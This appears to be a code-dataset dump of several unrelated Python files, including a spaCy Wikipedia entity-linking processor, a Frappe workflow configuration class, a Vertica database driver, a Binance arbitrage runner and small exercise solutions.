build\\bdist.win-amd64\\egg\\multiview\\tests\\test_cpcmv.py\n# Compiled at: 2017-12-21 13:53:05\n# Size of source mod 2**32: 1342 bytes\nimport numpy as np\nfrom numpy.testing import assert_array_almost_equal\nfrom sklearn.utils.testing import assert_raises\nimport multiview.cpcmv as cpcmv\n\ndef test_cpc():\n data = np.arange(50, dtype=float).reshape((2, 5, 5))\n eigenvalues, eigenvectors = cpcmv.cpc(data, k=2)\n real_eigenvalues = np.array([[66.60954262, 176.89090037],\n [\n -6.60954262, 8.10909963]])\n real_eigenvectors = np.array([[0.20303518, 0.74751369],\n [\n 0.31154745, 0.45048661],\n [\n 0.42005972, 0.15345953],\n [\n 0.528572, -0.14356755],\n [\n 0.63708427, -0.44059463]])\n assert_array_almost_equal(eigenvalues, real_eigenvalues, decimal=4)\n assert_array_almost_equal(eigenvectors, real_eigenvectors, decimal=4)\n\n\ndef test_cpc_error():\n data = np.arange(40, dtype=float).reshape((2, 5, 4))\n cpc_est = cpcmv.MVCPC(k=(-2))\n assert_raises(ValueError, cpc_est.fit, data)\n cpc_est = cpcmv.MVCPC(k=2)\n assert_raises(ValueError, cpc_est.fit, data)\n\n\ndef test_cpcmv():\n data = np.arange(50, dtype=float).reshape((2, 5, 5))\n cpc_est = cpcmv.MVCPC(k=2)\n cpc_est.fit(data)","sub_path":"pycfiles/multiview-1.0-py3.6/test_cpcmv.cpython-36.py","file_name":"test_cpcmv.cpython-36.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"538286383","text":"# coding: utf-8\nfrom __future__ import unicode_literals\n\nimport re\nimport bz2\nimport logging\nimport random\nimport json\n\nfrom functools import partial\n\nfrom spacy.gold import GoldParse\nfrom bin.wiki_entity_linking import wiki_io as io\nfrom bin.wiki_entity_linking.wiki_namespaces import (\n WP_META_NAMESPACE,\n WP_FILE_NAMESPACE,\n WP_CATEGORY_NAMESPACE,\n)\n\n\"\"\"\nProcess a Wikipedia dump to calculate entity frequencies and prior probabilities in combination with certain mentions.\nWrite these results to file for downstream KB and training data generation.\n\nProcess Wikipedia interlinks to generate a training dataset for the EL algorithm.\n\"\"\"\n\nENTITY_FILE = \"gold_entities.csv\"\n\nmap_alias_to_link = dict()\n\nlogger = logging.getLogger(__name__)\n\ntitle_regex = re.compile(r\"(?<=).*(?=)\")\nid_regex = re.compile(r\"(?<=)\\d*(?=)\")\ntext_regex = re.compile(r\"(?<=).*(?= 0:\n logger.info(\"processed {} lines of Wikipedia XML dump\".format(cnt))\n clean_line = line.strip().decode(\"utf-8\")\n\n # we attempt at reading the article's ID (but not the revision or contributor ID)\n if \"\" in clean_line or \"\" in clean_line:\n read_id = False\n if \"\" in clean_line:\n read_id = True\n\n if read_id:\n ids = id_regex.search(clean_line)\n if ids:\n current_article_id = ids[0]\n\n # only processing prior probabilities from true training (non-dev) articles\n if not is_dev(current_article_id):\n aliases, entities, normalizations = get_wp_links(clean_line)\n for alias, entity, norm in zip(aliases, entities, normalizations):\n _store_alias(\n alias, entity, normalize_alias=norm, normalize_entity=True\n )\n\n line = file.readline()\n cnt += 1\n logger.info(\"processed {} lines of Wikipedia XML dump\".format(cnt))\n logger.info(\"Finished. processed {} lines of Wikipedia XML dump\".format(cnt))\n\n # write all aliases and their entities and count occurrences to file\n with prior_prob_output.open(\"w\", encoding=\"utf8\") as outputfile:\n outputfile.write(\"alias\" + \"|\" + \"count\" + \"|\" + \"entity\" + \"\\n\")\n for alias, alias_dict in sorted(map_alias_to_link.items(), key=lambda x: x[0]):\n s_dict = sorted(alias_dict.items(), key=lambda x: x[1], reverse=True)\n for entity, count in s_dict:\n outputfile.write(alias + \"|\" + str(count) + \"|\" + entity + \"\\n\")\n\n\ndef _store_alias(alias, entity, normalize_alias=False, normalize_entity=True):\n alias = alias.strip()\n entity = entity.strip()\n\n # remove everything after # as this is not part of the title but refers to a specific paragraph\n if normalize_entity:\n # wikipedia titles are always capitalized\n entity = _capitalize_first(entity.split(\"#\")[0])\n if normalize_alias:\n alias = alias.split(\"#\")[0]\n\n if alias and entity:\n alias_dict = map_alias_to_link.get(alias, dict())\n entity_count = alias_dict.get(entity, 0)\n alias_dict[entity] = entity_count + 1\n map_alias_to_link[alias] = alias_dict\n\n\ndef get_wp_links(text):\n aliases = []\n entities = []\n normalizations = []\n\n matches = link_regex.findall(text)\n for match in matches:\n match = match[2:][:-2].replace(\"_\", \" \").strip()\n\n if ns_regex.match(match):\n pass # ignore the entity if it points to a \"meta\" page\n\n # this is a simple [[link]], with the alias the same as the mention\n elif \"|\" not in match:\n aliases.append(match)\n entities.append(match)\n normalizations.append(True)\n\n # in wiki format, the link is written as [[entity|alias]]\n else:\n splits = match.split(\"|\")\n entity = splits[0].strip()\n alias = splits[1].strip()\n # specific wiki format [[alias (specification)|]]\n if len(alias) == 0 and \"(\" in entity:\n alias = entity.split(\"(\")[0]\n aliases.append(alias)\n entities.append(entity)\n normalizations.append(False)\n else:\n aliases.append(alias)\n entities.append(entity)\n normalizations.append(False)\n\n return aliases, entities, normalizations\n\n\ndef _capitalize_first(text):\n if not text:\n return None\n result = text[0].capitalize()\n if len(result) > 0:\n result += text[1:]\n return result\n\n\ndef create_training_and_desc(\n wp_input, def_input, desc_output, training_output, parse_desc, limit=None\n):\n wp_to_id = io.read_title_to_id(def_input)\n _process_wikipedia_texts(\n wp_input, wp_to_id, desc_output, training_output, parse_desc, limit\n )\n\n\ndef _process_wikipedia_texts(\n wikipedia_input, wp_to_id, output, training_output, parse_descriptions, limit=None\n):\n \"\"\"\n Read the XML wikipedia data to parse out training data:\n raw text data + positive instances\n \"\"\"\n\n read_ids = set()\n\n with output.open(\"a\", encoding=\"utf8\") as descr_file, training_output.open(\n \"w\", encoding=\"utf8\"\n ) as entity_file:\n if parse_descriptions:\n _write_training_description(descr_file, \"WD_id\", \"description\")\n with bz2.open(wikipedia_input, mode=\"rb\") as file:\n article_count = 0\n article_text = \"\"\n article_title = None\n article_id = None\n reading_text = False\n reading_revision = False\n\n for line in file:\n clean_line = line.strip().decode(\"utf-8\")\n\n if clean_line == \"\":\n reading_revision = True\n elif clean_line == \"\":\n reading_revision = False\n\n # Start reading new page\n if clean_line == \"\":\n article_text = \"\"\n article_title = None\n article_id = None\n # finished reading this page\n elif clean_line == \"\":\n if article_id:\n clean_text, entities = _process_wp_text(\n article_title, article_text, wp_to_id\n )\n if clean_text is not None and entities is not None:\n _write_training_entities(\n entity_file, article_id, clean_text, entities\n )\n\n if article_title in wp_to_id and parse_descriptions:\n description = \" \".join(\n clean_text[:1000].split(\" \")[:-1]\n )\n _write_training_description(\n descr_file, wp_to_id[article_title], description\n )\n article_count += 1\n if article_count % 10000 == 0 and article_count > 0:\n logger.info(\n \"Processed {} articles\".format(article_count)\n )\n if limit and article_count >= limit:\n break\n article_text = \"\"\n article_title = None\n article_id = None\n reading_text = False\n reading_revision = False\n\n # start reading text within a page\n if \"\")\n clean_text = clean_text.replace(r\""\", '\"')\n clean_text = clean_text.replace(r\"&nbsp;\", \" \")\n clean_text = clean_text.replace(r\"&\", \"&\")\n\n # remove multiple spaces\n while \" \" in clean_text:\n clean_text = clean_text.replace(\" \", \" \")\n\n return clean_text.strip()\n\n\ndef _remove_links(clean_text, wp_to_id):\n # read the text char by char to get the right offsets for the interwiki links\n entities = []\n final_text = \"\"\n open_read = 0\n reading_text = True\n reading_entity = False\n reading_mention = False\n reading_special_case = False\n entity_buffer = \"\"\n mention_buffer = \"\"\n for index, letter in enumerate(clean_text):\n if letter == \"[\":\n open_read += 1\n elif letter == \"]\":\n open_read -= 1\n elif letter == \"|\":\n if reading_text:\n final_text += letter\n # switch from reading entity to mention in the [[entity|mention]] pattern\n elif reading_entity:\n reading_text = False\n reading_entity = False\n reading_mention = True\n else:\n reading_special_case = True\n else:\n if reading_entity:\n entity_buffer += letter\n elif reading_mention:\n mention_buffer += letter\n elif reading_text:\n final_text += letter\n else:\n raise ValueError(\"Not sure at point\", clean_text[index - 2 : index + 2])\n\n if open_read > 2:\n reading_special_case = True\n\n if open_read == 2 and reading_text:\n reading_text = False\n reading_entity = True\n reading_mention = False\n\n # we just finished reading an entity\n if open_read == 0 and not reading_text:\n if \"#\" in entity_buffer or entity_buffer.startswith(\":\"):\n reading_special_case = True\n # Ignore cases with nested structures like File: handles etc\n if not reading_special_case:\n if not mention_buffer:\n mention_buffer = entity_buffer\n start = len(final_text)\n end = start + len(mention_buffer)\n qid = wp_to_id.get(entity_buffer, None)\n if qid:\n entities.append((mention_buffer, qid, start, end))\n final_text += mention_buffer\n\n entity_buffer = \"\"\n mention_buffer = \"\"\n\n reading_text = True\n reading_entity = False\n reading_mention = False\n reading_special_case = False\n return final_text, entities\n\n\ndef _write_training_description(outputfile, qid, description):\n if description is not None:\n line = str(qid) + \"|\" + description + \"\\n\"\n outputfile.write(line)\n\n\ndef _write_training_entities(outputfile, article_id, clean_text, entities):\n entities_data = [\n {\"alias\": ent[0], \"entity\": ent[1], \"start\": ent[2], \"end\": ent[3]}\n for ent in entities\n ]\n line = (\n json.dumps(\n {\n \"article_id\": article_id,\n \"clean_text\": clean_text,\n \"entities\": entities_data,\n },\n ensure_ascii=False,\n )\n + \"\\n\"\n )\n outputfile.write(line)\n\n\ndef read_training(nlp, entity_file_path, dev, limit, kb, labels_discard=None):\n \"\"\" This method provides training examples that correspond to the entity annotations found by the nlp object.\n For training, it will include both positive and negative examples by using the candidate generator from the kb.\n For testing (kb=None), it will include all positive examples only.\"\"\"\n\n from tqdm import tqdm\n\n if not labels_discard:\n labels_discard = []\n\n data = []\n num_entities = 0\n get_gold_parse = partial(\n _get_gold_parse, dev=dev, kb=kb, labels_discard=labels_discard\n )\n\n logger.info(\n \"Reading {} data with limit {}\".format(\"dev\" if dev else \"train\", limit)\n )\n with entity_file_path.open(\"r\", encoding=\"utf8\") as file:\n with tqdm(total=limit, leave=False) as pbar:\n for i, line in enumerate(file):\n example = json.loads(line)\n article_id = example[\"article_id\"]\n clean_text = example[\"clean_text\"]\n entities = example[\"entities\"]\n\n if dev != is_dev(article_id) or not is_valid_article(clean_text):\n continue\n\n doc = nlp(clean_text)\n gold = get_gold_parse(doc, entities)\n if gold and len(gold.links) > 0:\n data.append((doc, gold))\n num_entities += len(gold.links)\n pbar.update(len(gold.links))\n if limit and num_entities >= limit:\n break\n logger.info(\"Read {} entities in {} articles\".format(num_entities, len(data)))\n return data\n\n\ndef _get_gold_parse(doc, entities, dev, kb, labels_discard):\n gold_entities = {}\n tagged_ent_positions = {\n (ent.start_char, ent.end_char): ent\n for ent in doc.ents\n if ent.label_ not in labels_discard\n }\n\n for entity in entities:\n entity_id = entity[\"entity\"]\n alias = entity[\"alias\"]\n start = entity[\"start\"]\n end = entity[\"end\"]\n\n candidate_ids = []\n if kb and not dev:\n candidates = kb.get_candidates(alias)\n candidate_ids = [cand.entity_ for cand in candidates]\n\n tagged_ent = tagged_ent_positions.get((start, end), None)\n if tagged_ent:\n # TODO: check that alias == doc.text[start:end]\n should_add_ent = (dev or entity_id in candidate_ids) and is_valid_sentence(\n tagged_ent.sent.text\n )\n\n if should_add_ent:\n value_by_id = {entity_id: 1.0}\n if not dev:\n random.shuffle(candidate_ids)\n value_by_id.update(\n {kb_id: 0.0 for kb_id in candidate_ids if kb_id != entity_id}\n )\n gold_entities[(start, end)] = value_by_id\n\n return GoldParse(doc, links=gold_entities)\n\n\ndef is_dev(article_id):\n if not article_id:\n return False\n return article_id.endswith(\"3\")\n\n\ndef is_valid_article(doc_text):\n # custom length cut-off\n return 10 < len(doc_text) < 30000\n\n\ndef is_valid_sentence(sent_text):\n if not 10 < len(sent_text) < 3000:\n # custom length cut-off\n return False\n\n if sent_text.strip().startswith(\"*\") or sent_text.strip().startswith(\"#\"):\n # remove 'enumeration' sentences (occurs often on Wikipedia)\n return False\n\n return True\n","sub_path":"venv/Lib/site-packages/bin/wiki_entity_linking/wikipedia_processor.py","file_name":"wikipedia_processor.py","file_ext":"py","file_size_in_byte":19557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"66997285","text":"from time import sleep\nimport sys, pathlib\nsys.path.append(str(pathlib.Path(__file__).parent.parent))\n\nfrom myUtility import load_json\nfrom myEvent import (\n Event, \n EventEngine,\n EVENT_ORDER,\n EVENT_TRADE,\n EVENT_POSITION,\n\tEVENT_ACCOUNT,\n\tEVENT_CONTRACT,\n\tEVENT_LOG,\n)\nfrom gateway.binance_gateway_local import BinanceGateway, BinanceFuturesGateway\nfrom Digiccy1.futures_spot_arbitrage import SpreadEngine\n\n\ndef process_event(event:Event):\n print(\"* \"*30 + event.type)\n if isinstance(event.data, dict):\n print(event.data)\n else:\n print(event.data.__dict__)\n\ndef process_log_event(event:Event):\n log = event.data\n print(\"%s %s\" % (log.time.strftime(\"%Y-%m-%d %H:%M:%S\"),log.msg))\n\n# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nbinance_setting = load_json(\"connect_binance.json\")\nsetting_filename = \"fsa_setting1_night.json\"\n# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\nevent_engine = EventEngine()\nevent_engine.register(EVENT_LOG, process_log_event)\n# event_engine.register(EVENT_ORDER, process_event)\n# event_engine.register(EVENT_TRADE, process_event)\n\nfsa_engine = SpreadEngine(event_engine, setting_filename)\n\nfsa_engine.add_gateway(BinanceGateway)\nfsa_engine.add_gateway(BinanceFuturesGateway)\nfsa_engine.write_log('Add gateway finished!')\n\nfsa_engine.start()\n\nfsa_engine.connect(binance_setting, 'BINANCE')\nfsa_engine.connect(binance_setting, 'BINANCEFUTURES')\nfsa_engine.write_log('Gateways is connecting, and sleep 20 seconds!')\nsleep(15)\n\nwhile True:\n # print('sleep')\n sleep(10)\n # print('sleep')\n # cmd = input()\n # if cmd == \"exit\":\n # break","sub_path":"Digiccy1/run_fsa1_night.py","file_name":"run_fsa1_night.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"157527554","text":"from collections import defaultdict\n\ndata = defaultdict(int)\nfor _ in range(int(input())):\n data[input()[0]] += 1\n\nsdata = sorted(data.items(), key=lambda v:(v[1]), reverse=True)\n\nif sdata[0][1] < 5:\n print(\"PREDAJA\")\n exit()\nresult = []\nfor i in range(len(sdata)):\n if sdata[i][1] < 5:\n break\n result.append(sdata[i][0])\nprint(\"\".join(sorted(result)))","sub_path":"boj/python/1159.py","file_name":"1159.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"490324886","text":"def next_greatest(letters):\n result = None\n \n begin, end = 0, len(letters) - 1\n \n while begin <= end:\n middle = (begin + end) / 2\n \n if letters[middle] <= target:\n begin = middle + 1\n else:\n result = letters[middle]\n end = middle - 1\n \n if result:\n return result\n else:\n return letters[0]\n","sub_path":"Python/744_find_smallest_letter_greater_than_target.py","file_name":"744_find_smallest_letter_greater_than_target.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"247722441","text":"'''\n풀이\n이분탐색\n'''\n\nX,Y = map(int,input().split())\nZ = Y*100//X\n\nprint(\"Z : \",Z)\nif Z >= 99:\n print(-1)\n exit()\n\nlo = 0\nhi = 1000000000\n\nwhile lo+1 < hi:\n mid = (lo+hi)//2\n result = (Y+mid)*100//(X+mid)\n print(\"hi : \",hi)\n print(\"lo : \",lo)\n print(\"mid : \",mid)\n print(\"result : \",result)\n if result - Z >= 1:\n hi = mid\n elif result - Z < 1:\n lo = mid\n\n\n\n\nprint(hi)\n\n\n\n\n#부르트 포스 -> 시간초과\n# X,Y = map(int,input().split())\n# Z = Y*100//X\n# answer = Z\n# cnt = 0\n# while answer == Z:\n# Y+=1\n# X+=1\n# cnt+=1\n# answer = Y*100//X\n# if answer == 100:\n# cnt = -1\n# break\n# print(cnt)\n\n\n","sub_path":"백준/Python/카테고리/이분탐색(Binary Search)/1072(게임).py","file_name":"1072(게임).py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"302447468","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2020, Sachin Mane and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\nimport frappe\nfrom frappe.model.document import Document\nfrom latte.business_process.powerflow_exceptions import PowerflowNotFoundException, InvalidPowerflowActionException, WorkflowStateAccessException, SelfApprovalPowerflowException\nfrom latte.business_process.doctype.powerflow_state.powerflow_state import PowerflowState\nfrom latte.business_process.constants import POWERFLOW\n\n\nclass PowerflowConfiguration(Document):\n\n\t@staticmethod\n\tdef get_configuration(doctype, configuration_name=None):\n\t\tif configuration_name:\n\t\t\treturn frappe.get_doc(\"Powerflow Configuration\", configuration_name)\n\t\telse:\n\t\t\tdefault_configuration = frappe.db.get_value(\"Powerflow Configuration\",{\n\t\t\t\t'ref_doctype':doctype,\n\t\t\t\t'is_default':1,\n\t\t\t\t'is_active':1,\n\t\t\t\t}, \"name\")\n\t\t\tif default_configuration:\n\t\t\t\treturn frappe.get_doc(\"Powerflow Configuration\", default_configuration)\n\t\t\telse:\n\t\t\t\tpowerflow_configuration_name = frappe.db.get_value(\"Powerflow Configuration\",{\n\t\t\t\t\t'ref_doctype':doctype,\n\t\t\t\t\t'is_default':1,\n\t\t\t\t\t'is_active':1,\n\t\t\t\t\t}, 'name')\n\t\t\t\tif powerflow_configuration_name:\n\t\t\t\t\treturn frappe.get_doc(\"Powerflow Configuration\", powerflow_configuration_name)\n\t\t\t\telse:\n\t\t\t\t\traise PowerflowNotFoundException()\t\n\n\tdef get_transition(self, current_state,execute_action):\n\t\tfor transition in self.transitions:\n\t\t\tif transition.state == current_state and transition.action == execute_action:\n\t\t\t\treturn transition\n\t\telse:\n\t\t\traise InvalidPowerflowActionException()\n\n\n\tdef get_state_instance(self,state):\n\t\tfor state_instance in self.states:\n\t\t\tif state_instance.state == state:\n\t\t\t\treturn state_instance\n\t\tfrappe.throw(f\"Invalid workflow configurations, '{state}' not found in {self.name} powerflow configuration. Please check with administrator\")\n\n\tdef get_transitions(self, current_state, last_user):\n\t\tstate = self.get_state_instance(current_state)\n\t\tif state.step_type == \"Remote\":\n\t\t\treturn None\n\t\tstate.validate(last_user)\n\t\treturn self._get_transitions(state)\n\t\n\tdef _get_transitions(self, state):\n\t\ttry:\n\t\t\treturn [\n\t\t\t\ttransition\n\t\t\t\tfor transition in self.transitions\n\t\t\t\tif\n\t\t\t\ttransition.state == state.state\n\t\t\t]\n\t\texcept (SelfApprovalPowerflowException, WorkflowStateAccessException):\n\t\t\treturn None\n\n\tdef _validate_state_permissions(self, state, last_user, human_transition):\n\t\tstate_instance = self.get_state_instance(state)\n\t\tstate_instance.validate(last_user)\n\n\tdef perform_transition(self, powerflow_status, action, reason, human_transition):\n\t\tcurrent_state = powerflow_status.current_state\n\t\tif human_transition:\n\t\t\tself._validate_state_permissions(current_state, powerflow_status.get_last_transition_user(), human_transition)\n\t\t\n\t\ttransition = self.get_transition(current_state, action)\n\t\ttransition.validate(reason)\n\n\t\tif transition.transition_type == POWERFLOW:\n\t\t\tpowerflow_status.update_configuration(transition.to)\n\t\telse:\n\t\t\tself.update_state(powerflow_status, transition.to)\n\n\n\tdef update_state(self, powerflow_status, state=None):\n\t\tif not state:\n\t\t\tstate = self.initial_state\n\n\t\tstate_instance = self.get_state_instance(state)\n\t\tpowerflow_status.update_details(state_instance)\n\n\tdef execute_state_script(self, state, docname):\n\t\tstate = self.get_state_instance(state)\n\t\treturn state.execute(self.ref_doctype, docname)\n\n\tdef get_state_docstatus(self, state):\n\t\tstate = self.get_state_instance(state)\n\t\treturn int(state.doc_status)\n\n\tdef validate(self):\n\t\tself.validate_single_default()\n\t\tself.validate_transitions()\n\n\tdef validate_single_default(self):\n\t\tif not self.is_default:\n\t\t\treturn\n\n\t\tothers = frappe.get_all('Powerflow Configuration', {\n\t\t\t'ref_doctype': self.ref_doctype,\n\t\t\t'is_default': 1,\n\t\t\t'is_active': 1,\n\t\t\t'name': ['!=', self.name],\n\t\t})\n\t\tif others:\n\t\t\tfrappe.throw(f'''\n\t\t\t\t{frappe.utils.href(\"Powerflow\", others[0].name)}\n\t\t\t\tis already set as default for {self.ref_doctype}\n\t\t\t''')\n\n\tdef validate_transitions(self):\n\t\tpresent_set = set()\n\t\tvalid_states = set(row.state for row in self.states)\n\t\tfor row in self.transitions:\n\t\t\tif row.state not in valid_states:\n\t\t\t\tfrappe.throw(f'Transition state {row.state} is not defined in States table')\n\t\t\ttransition = row.state, row.action,\n\t\t\tif transition in present_set:\n\t\t\t\tfrappe.throw(f'State {row.state} and Action {row.action} are not unique in transitions')\n\t\t\tpresent_set.add(transition)\n","sub_path":"latte/business_process/doctype/powerflow_configuration/powerflow_configuration.py","file_name":"powerflow_configuration.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"8690172","text":"#!/usr/bin/env python3\n# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4\n\n\"\"\"tiny_math.py\n\nA collection of tiny utility math functions. Many are adapted from\nsolutions to Euler Project problems.\n\nIncludes:\n Fibonacci sequence (memoized)\n is_prime\n is_palindrome\n Sieve of Eratosthenes\n sum_digits\n mult_digits\n str_score\n\nauthor: A. Y. Cho\ngithub: http://github.com/choyun1\ndate: Feb 21 2015\n\"\"\"\n\nimport functools\nimport math\n\n\nclass memoize(object):\n \"\"\"Memoization decorator\n\n Caches a function's return value each time it is called.\n\n Retrieved from PythonDecoratorLibrary on Feb 21 2015:\n https://wiki.python.org/moin/PythonDecoratorLibrary\n \"\"\"\n def __init__(self, func):\n self.func = func\n self.cache = {}\n\n def __call__(self, *args):\n if not isinstance(args, collections.Hashable):\n # Uncacheable (e.g. a list), skip caching\n return self.func(*args)\n\n if args in self.cache:\n return self.cache[args]\n else:\n value = self.func(*args)\n self.cache[args] = value\n return value\n\n def __repr__(self):\n \"\"\"Return the function's docstring.\"\"\"\n return self.func.__doc__\n\n\n@memoize\ndef fibonacci(n):\n \"\"\"Return nth number in the Fibonacci sequence.\"\"\"\n if n == 0:\n return 0\n elif n == 1:\n return 1\n else:\n return fibonacci(n-1) + fibonacci(n-2)\n\n\ndef is_prime(n):\n \"\"\"Check if n is a prime.\"\"\"\n n = abs(int(n))\n if n < 2:\n return False\n if n == 2:\n return True\n if not n & 1:\n return False\n for x in range(3, int(math.sqrt(n))+1, 2):\n if n % x == 0:\n return False\n return True\n\n\ndef is_palindrome(n):\n \"\"\"Checks if n is a palindrome.\"\"\"\n n_str = str(n)\n return n_str == n_str[::-1]\n\n\ndef sieve_of_eratosthenes(n):\n \"\"\"Sieve of Eratosthenes. Return all prime numbers up to n.\"\"\"\n multiples = set()\n primes = []\n for i in range(2, n+1):\n if i not in multiples:\n multiples.update(range(i*i, n+1, i))\n primes.append(i)\n return primes\n\n\ndef sum_digits(n):\n \"\"\"Sum all the digits of n.\"\"\"\n n_str = str(n)\n sum_n_str = lambda x, y: int(x) + int(y)\n return functools.reduce(sum_n_str, n_str)\n\n\ndef mult_digits(n):\n \"\"\"Multiply all the digits of n.\"\"\"\n n_str = str(n)\n mult_n_str = lambda x, y: int(x) * int(y)\n return functools.reduce(mult_n_str, n_str)\n\n\ndef str_score(s):\n \"\"\"Obtain the numerical 'score' of an alphabetical string, s.\"\"\"\n s = s.upper()\n alpha2num = {\n 'A':1, 'B':2, 'C':3, 'D':4, 'E':5, 'F':6,\n 'G':7, 'H':8, 'I':9, 'J':10, 'K':11, 'L':12,\n 'M':13, 'N':14, 'O':15, 'P':16, 'Q':17, 'R':18, 'S':19,\n 'T':20, 'U':21, 'V':22, 'W':23, 'X':24, 'Y':25, 'Z':26\n }\n converted_s = list(map(lambda char: alpha2num[char], s))\n return sum(converted_s)\n\n\t","sub_path":"tiny_math.py","file_name":"tiny_math.py","file_ext":"py","file_size_in_byte":2965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"259027074","text":"import os\nfrom contextlib import contextmanager\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.engine.url import URL\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.exc import SQLAlchemyError\nfrom mmvizutil.db.query import (\n Query\n)\n\n\ndef get_vertica_creds() -> dict:\n \"\"\"\n pulls in vertica credentials from the environment\n \"\"\"\n configs = {'username': os.environ['VSQL_USER'],\n 'password': os.environ['VSQL_PASSWORD'],\n 'port': os.environ['VSQL_PORT'],\n 'database': os.environ['VSQL_DATABASE'],\n 'drivername': 'vertica+vertica_python'}\n\n return configs\n\n\ndef query_box(q):\n\n query = Query()\n query.parameters = q.parameters\n query.value = \"\"\"\n select min(num_1) num_1_min, num_1_25, num_1_50, num_1_75, max(num_1) num_1_max, avg(num_1) num_1_avg\n from (\n select num_1,\n PERCENTILE_DISC(.25) WITHIN GROUP (ORDER BY num_1) OVER () as num_1_25,\n PERCENTILE_DISC(.50) WITHIN GROUP (ORDER BY num_1) OVER () as num_1_50,\n PERCENTILE_DISC(.75) WITHIN GROUP (ORDER BY num_1) OVER () as num_1_75\n from ( {query} ) query\n ) percentiles\n group by num_1_25, num_1_50, num_1_75\n \"\"\".format(query=q.value)\n\n return query\n\n\ndef query_histogram(q, min, max, num_bins=30):\n\n query = Query()\n query.parameters = q.parameters\n query.value = \"\"\"\n select bin,\n ((bin_width * (bin - 1)) + {min}) as bin_start,\n ((bin_width * bin) + {min}) as bin_end,\n bin_width,\n count(*) bin_count\n from\n (\n select num_1, (({max} - {min}) / {num_bins}) as bin_width, WIDTH_BUCKET (num_1, {min}, {max}, {num_bins}) bin\n from (\n {query}\n ) q\n ) value_bin\n group by bin, bin_width\n order by bin\n \"\"\".format(min=min, max=max, num_bins=num_bins, query=q.value)\n\n return query\n\n\nclass VerticaDriver(object):\n def __init__(self, host='dev', configs=None):\n self.configs = get_vertica_creds() if not configs else configs\n self.session = None\n if host == 'dev':\n self.configs.update({'host': 'vertica-dev.dsawsnprd.massmutual.com'})\n elif host == 'qa':\n self.configs.update({'host': 'vertica-qa.dsawsnprd.massmutual.com'})\n elif host == 'prod':\n self.configs.update({'host': 'vertica-prod.dsawsprd.massmutual.com'})\n\n def get_vertica_conn(self):\n \"\"\"\n creates a session object from a given valid connection\n \"\"\"\n conn = create_engine(URL(**self.configs))\n Session = sessionmaker(bind=conn)\n self.session = Session()\n\n @contextmanager\n def get_vertica_session(self):\n \"\"\"\n creates a session from the database connection pool, recycles it upon completion and then closes the connection\n \"\"\"\n try:\n yield self.session\n self.session.commit()\n except SQLAlchemyError:\n self.session.rollback()\n raise\n finally:\n self.session.close()","sub_path":"mmvizutil/db/vertica.py","file_name":"vertica.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"411988046","text":"\"\"\"\nPython makes performing file I/O simple. Take a look\nat how to read and write to files here:\n\nhttps://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files\n\"\"\"\n\n# Open up the \"foo.txt\" file (which already exists) for reading\n# Print all the contents of the file, then close the file\n# Note: pay close attention to your current directory when trying to open \"foo.txt\"\n\n# YOUR CODE HERE\n\n# open up the file stream\nwith open(\"src/foo.txt\", \"r\") as f:\n # get the text we are working with\n foo_txt = f.read()\n # print the text we are looking at\n print(foo_txt)\n\nf.closed\n# end of file read\n\n# Open up a file called \"bar.txt\" (which doesn't exist yet) for\n# writing. Write three lines of arbitrary content to that file,\n# then close the file. Open up \"bar.txt\" and inspect it to make\n# sure that it contains what you expect it to contain\n\n# YOUR CODE HERE\n\nwith open(\"src/bar.txt\", \"w\") as b:\n b.write(\"something is better than nothing. \\n\")\n b.write('the answer is, 42. \\n')\n b.write('beauty comes in many forms. and sometimes the evilest of wemon have the prettiest faces \\n')\n\nb.closed\n\nwith open(\"src/bar.txt\", \"r\") as b_r:\n bar_txt = b_r.read()\n print(bar_txt)\n\nb_r.closed","sub_path":"src/13_file_io.py","file_name":"13_file_io.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"492226323","text":"name = input(\"Enter file:\")\nif len(name) < 1 : name = \"mbox-short.txt\"\nhandle = open(name)\n\ndi = dict()\nfor lin in handle:\n lin = lin.rstrip()\n wds = lin.split()\n for w in wds:\n di[w] = di.get(w,0)+1\n \n\nlargest = -1\ntheword = None\nfor k,v in di.items():\n if v > largest:\n largest = v\n theword = k\n \n \nprint(theword,largest) ","sub_path":"Dictionaries/worked_exercise.py","file_name":"worked_exercise.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"72041967","text":"# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport sys\nimport 